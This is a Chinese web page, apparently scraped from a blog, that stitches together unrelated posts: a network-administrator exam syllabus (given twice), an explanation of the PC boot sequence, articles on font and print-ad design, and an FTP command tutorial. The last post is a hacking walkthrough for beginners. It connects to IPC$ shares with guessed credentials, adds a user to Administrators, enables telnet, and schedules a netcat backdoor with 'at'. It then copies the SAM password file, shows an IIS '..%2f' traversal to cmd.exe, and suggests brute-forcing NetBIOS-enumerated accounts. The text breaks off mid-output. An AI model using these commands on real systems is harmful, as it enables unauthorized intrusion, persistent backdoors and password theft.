201*年11月软考网络管理员必须掌握的知识总结
学习内容：
第一部分：计算机结构及工作原理、各种零配件的性能参数及主流品牌、计算机硬件的组装，CMOS设置，硬盘的分区，格式化、Windows98/201*/XP的安装、硬件驱动程序和应用程序的安装、Windows注册表的结构，备份及应用、Windows的内核：CPU、内存、硬盘等分配、软硬件系统的优化设置，整机性能评测、计算机病毒的原理及防治、常见软硬件故障的原因，现象及
解决、正确分辨市场假货、水货，软硬件产品的销售技巧。
第二部分：网络的基本构成，发展和拓扑设计，10BASE-T局域网的构建与实现，以及各种服务器的结构与特征，以太网对等网等各种方式。TCP/IP的四层模型与OSI七层模型的异同，TCP/IP协议剖析，如何设置IP地址，子网掩码，默认网关，区分子网和网段及集线器，交换机和路由器，RJ45网线制作和种网吧的组建及维护，NT、WIN201*server、Linux服务器的搭建，
98对等网的组建与调试和代理服务器的设置
第三部分：Win201*配置,用户及权限、文件及文件夹的管理，新特性活动目录的管理，组策略。网络资源的监控、系统环境的设置、磁盘系统的管理。Web、Ftp、DNS、DHCP、WINS等服务器的安装配置及管理。利用Exchange邮件服务器软件实现企业内部个人邮件信箱服务器、公告栏服务器、网站收发电子邮件服务器、聊天服务器的建立和管理。SQLServer中数据库的创建、表的创建及发布、数据库的备份及恢复、表的导入及导出等一系列维护和管理方法。代理服
务器基本原理。利用MicrosoftProxy为例实现代理服务器的设置及管理。
第四部分：代理服务器基本原理。利用MicrosoftProxy为例实现代理服务器的设置及管理。流行网管软件CiscoWork201*的配置、使用和管理技巧，在一台监控计算机上管理网络中所有的路由器和交换机，实时监控网络流量，及时发现网络问题。路由与交换技术：路由原理的讲解，并通过对路由器配置实例的学习掌握Cisco路由器的常用配置命令及配置。交换原理的讲解，通
过对交换机配置实例的学习掌握交换机的常用配置命令及配置。
第五部分：系统进行手工定制、系统性能检测管理、内核设置与编译。ftp服务与Samba服务，其它服务，如，DHCP、NFS等。Web网络服务。包括：Apache服务的配置使用及安全设置。其它web服务软件的介绍。DNS技术及应用。一些简单的路由技术一些简单的负载均衡技术。Mail网络服务。包括：sendmail的配置与使用，Qmail的配置与使用。一些mail客户端程
序的使用
第六部分：网络安全的基本概述，网络协议的介绍，常规加密的基本知识，公钥密钥加密的基本知识及数字签名，身份难验证，用PGP及数字证书进行邮件加密实验，全面讲述在环境下实施网络安全对策,Windows98下各种漏洞、攻击类型和防御方法及安全配置方案(系统安全、IE安全、Outlook的安全等)。结合黑客攻击过程全面讲述在WindowsNT环境下实施网络安全对策。WindowsNT下各种漏洞、攻击类型和防御方法及安全配置方案，全面讲述在Windows201*环境下实施网络安全对策，Windows系统的日志安全、WEB安全，软件防火墙的实施。Windows201*
下各种漏洞、攻击类型和防御方法及安全配置方案。
第七部分：Linux管理员部分
一、基本应用1、GNU/linux介绍、RedhatLinux的安装。
2、系统知识(shell、文件系统、管道与重定向、进程概念)、常用系统命令介绍(ls、cp、mkdir、
rm、vi、man、chmod等)
3、基本系统管理(包括：系统启动过程介绍、磁盘管理、用户管理、日志查看、tar/gz包的
使用、rpm软件包管理等。
二、基本系统服务(包括：图形终端、基本网络服务)(9个课时)
1、图形终端(即，x-window)的配置与使用。围绕KDE和(或)GNOME，展示UNIX系统的
友好界面。
2、简单的shell教本编写方法，环境变量3、Linux下IP网络的基本配置(IP地址、网关、名字)
4、Linux下的网络服务的配置与使用(包括ftp、DNS、Apache、Sendmail、samba的基本配
置)。基于RedHat的setup和linuxconf进行介绍。Webmin管理工具的介绍。
三、Prerequisite(背景课程)
1、前言
2、高级系统管理。包括：系统进行手工定制(inetd，service，ntsysv)、系统性能检测管理(ps，
top，tail，dmesg，/proc)。3、内核设置与编译。四、高级网络应用
1、ftp服务与Samba服务，其它服务，如，DHCP、NFS等。
2、Web网络服务。包括：Apache服务的配置使用及安全设置。其它web服务软件的介绍。
DNS技术及应用。3、一些简单的路由技术4、一些简单的负载均衡技术。
5、Mail网络服务。包括：sendmail的配置与使用，Qmail的配置与使用。一些mail客户端
程序的使用。五、系统网络安全1、包过滤防火墙的理论与应用(NAT技术、内核构架、Ipchains/Iptable的使用)，其它非核
心态防火墙的介绍。
2、系统安全。SSH的配置与使用。入侵检测系统及Checkpoint技术与应用3、VPN(虚拟网关)的理论与应用。包括：Ipsec、PPTP、认证、密钥交换协议等技术。
六、总结
混合构建一个安全的网络服务系统。
扩展阅读：网络管理员必须掌握的知识
网络管理员必须掌握的知识分类:网络管理员必须掌握的知第一部分：计算机结构及工作原理、各种零配件的性能参数及主流品牌、计算机硬件的组装，CMOS设置，硬盘的分区，格式化、Windows98/201*/XP的安装、硬件驱动程序和应用程序的安装、Windows注册表的结构，备份及应用、Windows的内核：CPU、内存、硬盘等分配、软硬件系统的优化设置，整机性能评测、计算机病毒的原理及防治、常见软硬件故障的原因，现象及解决、正确分辨市场假货、水货，软硬件产品的销售技巧。第二部分：网络的基本构成，发展和拓扑设计，10BASE-T局域网的构建与实现，以及各种服务器的结构与特征，以太网对等网等各种方式。TCP/IP的四层模型与OSI七层模型的异同，TCP/IP协议剖析，如何设置IP地址，子网掩码，默认网关，区分子网和网段及集线器，交换机和路由器，RJ45网线制作和种网吧的组建及维护，NT、WIN201*server、Linux服务器的搭建，98对等网的组建与调试和代理服务器的设置第三部分：Win201*配置,用户及权限、文件及文件夹的管理，新特性活动目录的管理，组策略。网络资源的监控、系统环境的设置、磁盘系统的管理。Web、Ftp、DNS、DHCP、WINS等服务器的安装配置及管理。利用Exchange邮件服务器软件实现企业内部个人邮件信箱服务器、公告栏服务器、网站收发电子邮件服务器、聊天服务器的建立和管理。SQLServer中数据库的创建、表的创建及发布、数据库的备份及恢复、表的导入及导出等一系列维护和管理方法。代理服务器基本原理。利用MicrosoftProxy为例实现代理服务器的设置及管理。第四部分：代理服务器基本原理。利用MicrosoftProxy为例实现代理服务器的设置及管理。流行网管软件CiscoWork201*的配置、使用和管理技巧，在一台监控计算机上管理网络中所有的路由器和交换机，实时监控网络流量，及时发现网络问题。路由与交换技术：路由原理的讲解，并通过对路由器配置实例的学习掌握Cisco路由器的常用配置命令及配置。交换原理的讲解，通过对交换机配置实例的学习掌握交换机的常用配置命令及配置。第五部分：系统进行手工定制、系统性能检测管理、内核设置与编译。ftp服务与Samba服务，其它服务，如，DHCP、NFS等。Web网络服务。包括：Apache服务的配置使用及安全设置。其它web服务软件的介绍。DNS技术及应用。一些简单的路由技术一些简单的负载均衡技术。Mail网络服务。包括：sendmail的配置与使用，Qmail的配置与使用。一些mail客户端程序的使用第六部分：网络安全的基本概述，网络协议的介绍，常规加密的基本知识，公钥密钥加密的基本知识及数字签名，身份难验证，用PGP及数字证书进行邮件加密实验，全面讲述在环境下实施网络安全对策,Windows98下各种漏洞、攻击类型和防御方法及安全配置方案（系统安全、IE安全、Outlook的安全等）。结合黑客攻击过程全面讲述在WindowsNT环境下实施网络安全对策。WindowsNT下各种漏洞、攻击类型和防御方法及安全配置方案，全面讲述在Windows201*环境下实施网络安全对策，Windows系统的日志安全、WEB安全，软件防火墙的实施。Windows201*下各种漏洞、攻击类型和防御方法及安全配置方案。第七部分：Linux管理员部分一、基本应用1、GNU/linux介绍、RedhatLinux的安装。2、系统知识（shell、文件系统、管道与重定向、进程概念）、常用系统命令介绍（ls、cp、mkdir、rm、vi、man、chmod等）3、基本系统管理（包括：系统启动过程介绍、磁盘管理、用户管理、日志查看、tar/gz包的使用、rpm软件包管理等。二、基本系统服务（包括：图形终端、基本网络服务）（9个课时）1、图形终端（即，x-window）的配置与使用。围绕KDE和（或）GNOME，展示UNIX系统的友好界面。2、简单的shell教本编写方法，环境变量3、Linux下IP网络的基本配置（IP地址、网关、名字）4、Linux下的网络服务的配置与使用（包括ftp、DNS、Apache、Sendmail、samba的基本配置）。基于RedHat的setup和linuxconf进行介绍。Webmin管理工具的介绍。三、Prerequisite(背景课程)1、前言2、高级系统管理。包括：系统进行手工定制（inetd，service，ntsysv）、系统性能检测管理（ps，top，tail，dmesg，/proc）。3、内核设置与编译。四、高级网络应用1、ftp服务与Samba服务，其它服务，如，DHCP、NFS等。2、Web网络服务。包括：Apache服务的配置使用及安全设置。其它web服务软件的介绍。DNS技术及应用。3、一些简单的路由技术4、一些简单的负载均衡技术。5、Mail网络服务。包括：sendmail的配置与使用，Qmail的配置与使用。一些mail客户端程序的使用。五、系统网络安全1、包过滤防火墙的理论与应用（NAT技术、内核构架、Ipchains/Iptable的使用），其它非核心态防火墙的介绍。2、系统安全。SSH的配置与使用。入侵检测系统及Checkpoint技术与应用3、VPN（虚拟网关）的理论与应用。包括：Ipsec、PPTP、认证、密钥交换协议等技术。六、总结混合构建一个安全的网络服务系统。201*.2.1022:22作者：chenjiamiao520收藏|评论：0全面认识计算机启动过程分类:认识计算机启动过程打开电源启动机器几乎是电脑爱好者每天必做的事情，面对屏幕上出现的一幅幅启动画面，我们一点儿也不会感到陌生，但是，计算机在显示这些启动画面时都做了些什么工作呢？相信有的朋友还不是很清楚，本文就来介绍一下从打开电源到出现Windows的蓝天白云时，计算机到底都干了些什么事情。首先让我们来了解一些基本概念。第一个是大家非常熟悉的BIOS（基本输入输出系统），BIOS是直接与硬件打交道的底层代码，它为操作系统提供了控制硬件设备的基本功能。BIOS包括有系统BIOS（即常说的主板BIOS）、显卡BIOS和其它设备（例如IDE控制器、SCSI卡或网卡等）的BIOS，其中系统BIOS是本文要讨论的主角，因为计算机的启动过程正是在它的控制下进行的。BIOS一般被存放在ROM(只读存储芯片)之中，即使在关机或掉电以后，这些代码也不会消失。第二个基本概念是内存的地址，我们的机器中一般安装有32MB、64MB或128MB内存，这些内存的每一个字节都被赋予了一个地址，以便CPU访问内存。32MB的地址范围用十六进制数表示就是0～1FFFFFFH，其中0～FFFFFH的低端1MB内存非常特殊，因为最初的8086处理器能够访问的内存最大只有1MB，这1MB的低端640KB被称为基本内存，而A0000H～BFFFFH要保留给显示卡的显存使用，C0000H～FFFFFH则被保留给BIOS使用，其中系统BIOS一般占用了最后的64KB或更多一点的空间，显卡BIOS一般在C0000H～C7FFFH处，IDE控制器的BIOS在C8000H～CBFFFH处。第一步：当我们按下电源开关时，电源就开始向主板和其它设备供电，此时电压还不太稳定，主板上的控制芯片组会向CPU发出并保持一个RESET（重置）信号，让CPU内部自动恢复到初始状态，但CPU在此刻不会马上执行指令。当芯片组检测到电源已经开始稳定供电了（当然从不稳定到稳定的过程只是一瞬间的事情），它便撤去RESET信号（如果是手工按下计算机面板上的Reset按钮来重启机器，那么松开该按钮时芯片组就会撤去RESET信号），CPU马上就从地址FFFF0H处开始执行指令，从前面的介绍可知，这个地址实际上在系统BIOS的地址范围内，无论是AwardBIOS还是AMIBIOS，放在这里的只是一条跳转指令，跳到系统BIOS中真正的启动代码处。第二步：系统BIOS的启动代码首先要做的事情就是进行POST（Power－OnSelfTest，加电后自检），POST的主要任务是检测系统中一些关键设备是否存在和能否正常工作，例如内存和显卡等设备。由于POST是最早进行的检测过程，此时显卡还没有初始化，如果系统BIOS在进行POST的过程中发现了一些致命错误，例如没有找到内存或者内存有问题（此时只会检查640K常规内存），那么系统BIOS就会直接控制喇叭发声来报告错误，声音的长短和次数代表了错误的类型。在正常情况下，POST过程进行得非常快，我们几乎无法感觉到它的存在，POST结束之后就会调用其它代码来进行更完整的硬件检测。第三步：接下来系统BIOS将查找显卡的BIOS，前面说过，存放显卡BIOS的ROM芯片的起始地址通常设在C0000H处，系统BIOS在这个地方找到显卡BIOS之后就调用它的初始化代码，由显卡BIOS来初始化显卡，此时多数显卡都会在屏幕上显示出一些初始化信息，介绍生产厂商、图形芯片类型等内容，不过这个画面几乎是一闪而过。系统BIOS接着会查找其它设备的BIOS程序，找到之后同样要调用这些BIOS内部的初始化代码来初始化相关的设备。第四步：查找完所有其它设备的BIOS之后，系统BIOS将显示出它自己的启动画面，其中包括有系统BIOS的类型、序列号和版本号等内容。第五步：接着系统BIOS将检测和显示CPU的类型和工作频率，然后开始测试所有的RAM，并同时在屏幕上显示内存测试的进度，我们可以在CMOS设置中自行决定使用简单耗时少或者详细耗时多的测试方式。第六步：内存测试通过之后，系统BIOS将开始检测系统中安装的一些标准硬件设备，包括硬盘、CD－ROM、串口、并口、软驱等设备，另外绝大多数较新版本的系统BIOS在这一过程中还要自动检测和设置内存的定时参数、硬盘参数和访问模式等。第七步：标准设备检测完毕后，系统BIOS内部的支持即插即用的代码将开始检测和配置系统中安装的即插即用设备，每找到一个设备之后，系统BIOS都会在屏幕上显示出设备的名称和型号等信息，同时为该设备分配中断、DMA通道和I/O端口等资源。第八步：到这一步为止，所有硬件都已经检测配置完毕了，多数系统BIOS会重新清屏并在屏幕上方显示出一个表格，其中概略地列出了系统中安装的各种标准硬件设备，以及它们使用的资源和一些相关工作参数。第九步：接下来系统BIOS将更新ESCD（ExtendedSystemConfigurationData，扩展系统配置数据）。ESCD是系统BIOS用来与操作系统交换硬件配置信息的一种手段，这些数据被存放在CMOS（一小块特殊的RAM，由主板上的电池来供电）之中。通常ESCD数据只在系统硬件配置发生改变后才会更新，所以不是每次启动机器时我们都能够看到“UpdateESCDSuccess”这样的信息，不过，某些主板的系统BIOS在保存ESCD数据时使用了与Windows9x不相同的数据格式，于是Windows9x在它自己的启动过程中会把ESCD数据修改成自己的格式，但在下一次启动机器时，即使硬件配置没有发生改变，系统BIOS也会把ESCD的数据格式改回来，如此循环，将会导致在每次启动机器时，系统BIOS都要更新一遍ESCD，这就是为什么有些机器在每次启动时都会显示出相关信息的原因。第十步：ESCD更新完毕后，系统BIOS的启动代码将进行它的最后一项工作，即根据用户指定的启动顺序从软盘、硬盘或光驱启动。以从C盘启动为例，系统BIOS将读取并执行硬盘上的主引导记录，主引导记录接着从分区表中找到第一个活动分区，然后读取并执行这个活动分区的分区引导记录，而分区引导记录将负责读取并执行IO.SYS，这是DOS和Windows9x最基本的系统文件。Windows9x的IO.SYS首先要初始化一些重要的系统数据，然后就显示出我们熟悉的蓝天白云，在这幅画面之下，Windows将继续进行DOS部分和GUI（图形用户界面）部分的引导和初始化工作。如果系统之中安装有引导多种操作系统的工具软件，通常主引导记录将被替换成该软件的引导代码，这些代码将允许用户选择一种操作系统，然后读取并执行该操作系统的基本引导代码（DOS和Windows的基本引导代码就是分区引导记录）。上面介绍的便是计算机在打开电源开关（或按Reset键）进行冷启动时所要完成的各种初始化工作，如果我们在DOS下按Ctrl＋Alt＋Del组合键（或从Windows中选择重新启动计算机）来进行热启动，那么POST过程将被跳过去，直接从第三步开始，另外第五步的检测CPU和内存测试也不会再进行。我们可以看到，无论是冷启动还是热启动，系统BIOS都一次又一次地重复进行着这些我们平时并不太注意的事情，然而正是这些单调的硬件检测步骤为我们能够正常使用电脑提供了基础.201*.2.1022:21作者：chenjiamiao520收藏|评论：0字体设计的基本知识分类:字体设计的基本知识文字，是人类思想感情交流的必然产物。随着人类文明的进步，它由简单而复杂，逐步形成了科学的完美而规范化的程式。它既具有人类思想感情的抽象意义与韵调和音响节律，又具有结构完整，章法规范，而又变化无穷的鲜明形象。尤其是象形文字，更是抽象与具象的紧密结合，其文字的本身，也可说是一种完整的美术设计。今天，人类社会已进入工商业突飞猛进的时代，产品的竞争，生活的美化，已与人类的日常生活息息相关。作为传导思想感情的媒体一文字的美化，随着人类文明的进步而跃居为人们研究的重要课题。字形要正确不同汉字或拉丁字母的构成，笔划都是法定的，只要有一点半划不符，就成别字，轻则字义不同，重则不成其字，无人认得，这就完全失去了文字本身的作用。因此字形要做到确切无误，既不能任意增加笔划，也不能任意减少或改变。风格要统一不管拉丁字母或汉字，字体笔划都必须统一。如写汉字，不宜三笔隶体，二笔仿宋，写拉丁字母也不宜播楷、小楷、花楷杂组一字，印刷体与手写体也不能在一字中混合运用。字体表情要适应文字内容的精神每一种字体，都有它自身的表情。如黑体有醒目严肃的感觉，老宋、楷书有端庄刚直的的表情；仿宋、行书有清秀自由的意趣；而篆书则有华贵古朴的风貌又如拉丁字母的花楷颇相当于汉字的左篆，具有华贵古朴之感；印刷体则相当于老宋楷书，一具有端庄明确的感觉。手写体则相当于仿宋、行、草，有轻松活泼的体态。因此选择某种字体为设计美术字之基调时，应该按文字内容的精神而定。这样才能表里一致，发挥出文字感染力的最大功能。至于变化形式，可不拘一格，诣凡笔划之长短、肥瘦、曲直，”作者均可自由规范，只要根据文字固有结构变化就行，甚至还可进一步按透视法、立体投影、空心变化等受法，加强其装饰意义，使之美化。201*.2.1022:10作者：chenjiamiao520收藏|评论：0平面设计的传达要素--图形传达分类:平面设计的传达要素--图广告传播可分视觉、听觉、视听觉三种类型，平面广告属视觉类广告，公众70%的信息是从视觉获得的。其中印刷类有：报纸广告、杂志广告、招贴海报、商品样本、挂历广告、邮寄广告、包装纸等形式。非印刷类有：路牌、民墙、车身、灯箱广告形式。这些以平面形态出现的视觉类广告，均属于平面广告范畴。图形、文案、色彩是构成平面广告的三大要素。这些要素在广告中担当着不同的使命。图形要素有插画、注册商标、画面轮廓线元素，文案要素有标题、广字语、正文、附文元素，色彩要素有色相、明度、纯度诸元素。图象传达图形是平面广告主要的构成要素，它能够形象地表现广告主题和广告创意。插画可以是黑白画、喷绘插画、绘画插画、摄影作品等，表现形式有写实、象征、漫画、卡通、装饰、构成等手法。插画是用视觉艺术语言来传播信息，它具有形象化、具体化、直接化的特性，是一种世界性的语言，人人都可以看明白。插画的设计是在整体广告策略的指导下进行，表现的内容要紧紧围绕广告主题，突出商品信息的个性，设计创作新颖的、有诉求力的图形语言。“奇”、“异”、“怪”的图形并非是设计师追求的目标，通俗易懂、简洁明快的图形语言，才是达到强烈视觉冲击力的必要条件，以便于公众对广告主题的认识、理解与记忆。商标是平面广告的眼睛，构成版面的重要元素，它是塑造商品、企业形象最有效的、最可靠的象征，是公众借以识别商品的符号，也是商品质量、企业信誉的保证。它具有指导公众购买、开拓市场、巩固市场的作用。单纯、简洁有个性特征的商标造型，视觉效果强烈，能在瞬间给公众留下深刻的印象。轮廓线是指在平面广告版面边缘线框，它的作用是使广告版面有一个单独的空间，以控制公众的视野范围，借用轮廓线来诱导公众的视线移至广告主题，同时避免其它信息的视觉干扰。轮廓线的应用，能增加广告版面的美感，系列广告采用同一的“个性化”轮廓线，可以加强广告版面的重复印象。轮廓线可用直线、曲线、斜线、图案边饰纹样等形式。轮廓线的选择要根据整体广告策略来确定使用形式，不要搞得太奇特，喧宾夺主将会影响广告版面中的图形与文案。201*.2.1022:09作者：chenjiamiao520收藏|评论：平面设计的传达要素--文案传达分类:平面设计的传达要素--文文案传达文字是平面广告不可缺少的构成要素，配合图形要素来实现广告主题的创意，具有引起注意、传播信息、说服对象的作用。标题是文案中的关键元素，即为广告的题目，有引人注目、引起兴趣、诱读正文的作用。标题在版面编排时，根据广告不同的主题，配合图形造型的需要，选用不同的字体、字号，运用视觉艺术语言，引导公众的视线自觉地从标题转移到图形、正文。标题的视觉语言创作是广告创意一方面，而标题文案的创作是广告创意的另一方面。它将影响到广告主题是否引起公众注意的关键。标题文案分类有三种：①直接标题：直截了当，简明确切，一看就明白广告内容；①间接标题：不直接点明广告主题，通过图形或是使用充满情趣、哲理性的词句，诱导公众阅读正文Z③复合标题：是直接与间接综合使用，采用正副标题的结合，既点明主题又充满惰趣。标题形式有①记事式，如实地将广告正文的要点加以说明②新闻式，以发布新闻的形式向公众提供信息，强调新闻特点；③疑问式，提出“为什么？”、“怎么办？”之类问题，以引起消费者的思考与共鸣；④赞扬式，夸耀商品的长处，但不能失实；①比较式，新、老产品对比，以证明新产品的优点之处；⑤悬念式，设有悬念，使人产生惊奇，引起公众的注意；①引导式，诚恳地为消费者出点子，提建议，以得到消费者的信任；③承诺式，以坦诚的语言告诉公众，该商品能给他们带来什么好处；④重复式，重复的标题可以刺激消费者的记忆，达到增强记忆的目的；①间接式，运用间接语言回避消费者的秘密与隐私；（11诉求式，用劝勉、希望、呼吁的口气，催促人们采取行动，12）荒诞式，荒诞是不实在的，不合情理的，运用得当，荒诞也会给人以真实可信的影响，一看就明白广告内容。正文即为广告要传播的商品说明文，它详细地叙述商品内容，有说明、解答、鼓动、号召的作用。正文内容撰写要采用平易的日常语言，简单易懂，表达生动、贴切、形象、扣人心弦，使公众感到平易近人，心悦诚服地信任商品，以达到传播信息的目的。正文编排时集中为宜，它一般置于版面的下方，也可以置于左方或右方位置。广告语，也称标语，它是在整体广告策略中某个阶段内反复使用的，用以体现企业精神或宣传商品特征，吸引公众注意的专用宣传语句，能给人留下深刻印象。广告语的文字必须易读好记，押韵顺口，富于情感。编排时可放置版面的任何位置，但要位居广告标题之后，不能本末倒置。附文是指广告主的公司名、地位、邮编、电话、电报、传真号码。方便公众与广告主取得联系，购买商品。它一般置于版面的下方或次要的位置。201*.2.1022:08作者：chenjiamiao520收藏|评论：0平面设计的传达要素--色彩传达分类:平面设计的传达要素--色色彩传达色彩在广告表现中具有迅速诉诸感觉的作用。它与公众的生理和心理反应密切相关，公众对广告的第一印象是通过色彩而得到的。艳丽、典雅、灰暗等色彩感觉，影响着公众对广告内容的注意力。鲜艳、明快、和谐的色彩组合会对公众产生较好吸引力，陈旧、破碎的用色会导致公众产生“这是旧广告”，而不会引起注意。因此，色彩在平面广告上有着特殊的诉求力。现代平面广告设计，是由色彩、图形、文案三大要素构成，图形和文案都不能离开色彩的表现，色彩传达从某种意义来说是第一位的。色彩是由色相、明度、纯度三个元素组成的。色相即为红、黄、绿、蓝、黑等不同的颜色。明度是指某一单色的明暗程度；纯度即单色色相的鲜艳度、饱和度，也称彩度。色彩在广告中的运用，设计师要表现出广告的主题和创意，充分展现色彩的魅力。首先必须认真分析研究色彩的各种因素，由于生活经历、年龄、文化背景、风俗习惯、生理反应有所区别，人们有一定的主观性，同时对颜色的象征性、情感性的表现，人们有着许多共同的感受。在色彩配置和色彩组调设计中，设计师要把握好色彩的冷暖对比、明暗对比、纯度对比、面积对比、混合调合、面积调合、明度调合、色相调合、倾向调合等等，色彩组调要保持画面的均衡、呼应和色彩的条理性，广告画面有明确的主色调，要处理好图形色和地色的关系。设计师要明确色彩定位。广告定位在突出商标时，要考虑企业的个性特征和企业的形象色，通过色彩定位来强化公众对它的辨认广告定位在突出商品时，就要强调商品的形象色。色彩传达的目的在于充分表现商品、企业的个性特征和功能，以适合商品消费市场的审美流，利用色彩设计的创意造成一种更集中、更强烈、更单纯的形象，加深公众对广告信息的认知程度，达到信息传播的目的。201*.2.1022:07作者：chenjiamiao520收藏|评论：0命令行方式使用FTP实战练习分类:命令行方式使用FTP实战命令行方式使用FTP实战练习单上传下载实例(/*....*/为注释)：先假设有一FTP服务器，FTP服务器：qint.ithot.net，用户名：username密码：user1234。在本地电脑D：盘创建一个文件夹"qint"。将要上传的文件复制到d:qint里。通过FTP命令将文件从本地上传，从服务器下载的步骤如下：1.“开始”-“运行”-输入“FTP”2.openqint.ithot.net/*这一步可以与第一步合并，在“运行”里直接输入"ftpqint.ithot.net"。如果你的FTP服务器不是用的21默认端口，假如端口是2121，那么此步的命令应在后面空格加2121，即“openqint.ithot.net2121”*/3.username/*提示你输入用户名*/4.user1234/*提示你输入密码，密码不回显，打完密码后回车即可。如果你的密码输入错误，将不会提示你重新输入，这时你要键入“user”命令，将会出现第三步，你可以重新输入用户名和密码。*/5.dir/*你成功登陆后就可以用dir查看命令查看FTP服务器中的文件及目录，用ls命令只可以查看文件。*/6.mkdirqint/*在FTP服务器上根目录下建立qint目录。*/7.cdqint/*进入目录qint,用“cd你的目录名”可以进入当前目录的下一级目录，这跟DOS一样。*/8.bin/*采用二进制传输。如果你要上传下载，这一步很重要，不先执行这个命令，上传下载会很慢。*/9.lcdd:qint/*定位本地默认文件夹，在前面我事先在D：盘创建的。*/10.!dir/*查看本地文件夹中的文件及目录*/11.puti001.jpg/*将当前目录(d:qint)中的文件i001.jpg上传到FTP服务器默认目录。可以用"mput*.*"将所有文件上传到FTP服务器上。*/12.getd123.jpg/*将FTP服务器默认目录中的文件d123.jpg下载到当前目录下(d:qint)。可以用"mget*.*"将所有文件下载到d:qint*/13.delete*.*/*删除目录qint中的所有文件。*/14.cd../*返回至上一级目录，即根目录。返回上一级目录用“cd..”要注意，中间有空格。返回根目录用“cd”。*/15.mrdirqint/*删除目录qint。删除目录，在此目录下不能有文件及目录，不然将无法删除。*/16.bye/*退出FTP服务器*/201*.2.1022:04作者：chenjiamiao520收藏|评论：0菜鸟必练入侵命令分类:菜鸟必练入侵命令：NET只要你拥有某IP的用户名和密码，那就用IPC＄做连接吧！这里我们假如你得到的用户是hbx，密码是123456。假设对方IP为127.0.0.1netuse\\127.0.0.1ipc＄123456/user:hbx退出的命令是netuse\\127.0.0.1ipc＄/delte下面的*作你必须登陆后才可以用.登陆的方法就在上面.----------------------下面我们讲怎么创建一个用户，由于SA的权限相当于系统的超级用户.我们加一个heibai的用户密码为lovechinanetuserheibailovechina/add只要显示命令成功，那么我们可以把他加入Administrator组了.netlocalgroupAdministratorsheibai/add----------------------这里是讲映射对方的C盘，当然其他盘也可以，只要存在就行了.我们这里把对方的C盘映射到本地的Z盘.netusez:\\127.0.0.1c＄----------------------netstarttelnet这样可以打开对方的TELNET服务.----------------------这里是将Guest用户激活，guest是NT的默认用户，而且无法删除呢？不知道是否这样，我的201*就是删除不了它。netuserguest/active:yes----------------------这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用户也可以的。只要有权限就行了呀！netuserguestlovechinanet命令果然强大啊！2:at一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去，怎么启动他呢？那么需要用AT命令，这里假设你已经登陆了那个服务器。你首先要得到对方的时间，nettime\\127.0.0.1将会返回一个时间，这里假设时间为12:1，现在需要新建一个作业，其ID=1at\\127.0.0.112:3nc.exe这里假设了一个木马，名为NC.EXE，这个东西要在对方服务器上.这里介绍一下NC，NC是NETCAT的简称，为了方便输入，一般会被改名.它是一个TELNET服务，端口为99.等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马.3:telnet这个命令非常实用，它可以与远方做连接，不过正常下需要密码、用户，不过你给对方种了木马，直接连到这个木马打开的端口.telnet127.0.0.199这样就可以连到对方的99端口.那你就可以在对方运行命令了，这个也就是肉鸡.4:FTP它可以将你的东西传到对方机子上，你可以去申请个支持FTP上传的空间，国内多的是，如果真的找不到，我给，不错的.当我们申请完后，它会给用户名，密码，以及FTP服务器.在上传前需要登陆先，这里我们假设FTP服务器HUCJS，密码是654321，用户名是ftp他会要求输入用户，成功后会要求输入密码.下面先说上传，假设你需上传的文件是INDEX.HTM，它位于C:下，传到对方D:getc:index.htmd:假设你要把对方C盘下的INDEX.HTM，下到你的机子的D盘下putc:index.htmd:5:copy下面我说说怎样把本地的文件复制到对方硬盘上去，需要建立好IPC＄连接才有效。这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下copyindex.htm\\127.0.0.1c＄index.htm----------------------如果你要复制到D盘下把C改为D，就行了！copyindex.htm\\127.0.0.1d＄index.htm----------------------如果你要把他复制到WINNT目录里就要把输入copyindex.htm\\127.0.0.1admin＄index.htmadmin＄是winnt----------------------要把对方的文件复制过来，顺便告诉大家NT的备份的数据库放在x:winntrepairsam._sam._是数据库的文件名下面就把127.0.0.1的数据库复制到本地C盘下copy\\127.0.0.1admin＄repairsam._c:----------------------6：set如果你跑进了一部机子，而且想黑他（这思想只能在特别时候才准有），当然他的80端口要开，不然你黑给谁看。这时需要用SET命令！下面是我得到的结果！我来分析它，只是找主页在那而已。COMPUTERNAME=PENTIUMIIComSpec=D:WINNTsystem32cmd.exeCONTENT_LENGTH=GATEWAY_INTERFACE=CGI/1.1HTTP_ACCEPT=*/*HTTP_ACCEPT_LANGUAGE=zh-cnHTTP_CONNECTION=Keep-AliveHTTP_HOST=当前登陆者的IP，这里本来是显示我的IP，被我删除了HTTP_ACCEPT_ENCODING=gzip，deflateHTTP_USER_AGENT=Mozilla/4.0(compatible;MSIE5.0;Windows98;DigExt)NUMBER_OF_PROCESSORS=1Os2LibPath=D:WINNTsystem32os2dll;OS=Windows_NTPath=D:WINNTsystem32;D:WINNTPATHEXT=.COM;.EXE;.BAT;.CMDPATH_TRANSLATED=E:vlroot主页放在的地址，只要你看到PATH_TRANSLATED=的后面就是主页的存放地址。这里是E:vlrootPROCESSOR_ARCHITECTURE=x86PROCESSOR_IDENTIFIER=x86Family6Model3Stepping3，GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=0303PROMPT=＄P＄GQUERY_STRING=/csetREMOTE_ADDR=XX.XX.XX.XXREMOTE_HOST=XX.XX.XX.XXREQUEST_METHOD=GETSCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exeSERVER_NAME=XX.XX.XX.XXSERVER_PORT=80SERVER_PORT_SECURE=0SERVER_PROTOCOL=HTTP/1.1SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0SystemDrive=D:SystemRoot=D:WINNTTZ=GMT-9USERPROFILE=D:WINNTProfilesDefaultUserwindir=D:WINNT粉红色的那行就是对方主页存放地址，这里告诉大家一个技巧，很笨的技巧啊，不过只能用这个方法才能100%的找到主页的名称，当你DIR这个目录时，一定会看到很多文件，你可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名，这样只要看到和XX.XX.XX.XX看到的也面一模一样，那么这就是主页的名称了。7：nbtstat如果你扫到一部NT的机子，他的136到139其中一个端口开了的话，就要用这个命令得到用户了。顺便告诉大家这是netbios，得到用户名后就可以猜猜密码了。例如比较简单的密码，密码和用户名一样的，都试下，不行就暴力破解吧！现在网上很多NT的机子都开了这些端口的，你可以练习下，我们来分析得到的结果。命令是nbtstat-AXX.XX.XX.XX-A一定要大写哦。下面是得到的结果。NetBIOSRemoteMachineNameTableNameTypeStatus---------------------------------------------RegisteredRegisteredRegisteredRegisteredRegisteredRegisteredRegisteredR